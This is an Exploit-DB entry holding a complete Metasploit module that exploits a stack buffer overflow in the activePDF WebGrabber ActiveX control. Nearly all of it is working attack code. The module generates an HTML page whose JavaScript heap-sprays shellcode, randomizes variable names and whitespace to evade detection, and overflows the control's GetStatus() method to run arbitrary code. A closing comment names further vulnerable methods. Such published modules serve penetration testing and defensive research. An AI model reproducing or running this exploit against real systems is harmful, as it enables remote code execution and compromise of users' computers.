Exploit-DB #16635
Description: activePDF WebGrabber - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: activepdf_webgrabber.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'activePDF WebGrabber ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When
				sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)
				an attacker may be able to execute arbitrary code. This control is not marked safe
				for scripting, so choose your attack vector accordingly.

			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '64579'],
					[ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
				],
			'DisclosureDate' => 'Aug 26 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
			], self.class)
	end

	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.uri_encode([target.ret].pack('L'))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|<html>
<head>
<script>
try {
	var #{vname} = new ActiveXObject('APWebGrabber.Object');
	var #{rand1} = unescape('#{shellcode}');
	var #{rand2} = unescape('#{nops}');
	var #{rand3} = 20;
	var #{rand4} = #{rand3} + #{rand1}.length;
	while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
	var #{rand5} = #{rand2}.substring(0,#{rand4});
	var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
	while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
	var #{rand7} = new Array();
	for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
	var #{rand8} = "";
	for (#{var_i} = 0; #{var_i} < 800; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
	#{vname}.GetStatus(#{rand8},1);
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|

		content = Rex::Text.randomize_space(content)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(content)
	end

end

=begin

Other methods that are vulnerable.

[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]
void CleanUp(BSTR ServerIPAddress, long ServerPort);

[id(0x00000055)]
BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR AcceptedCommands);

...and probably more.
=end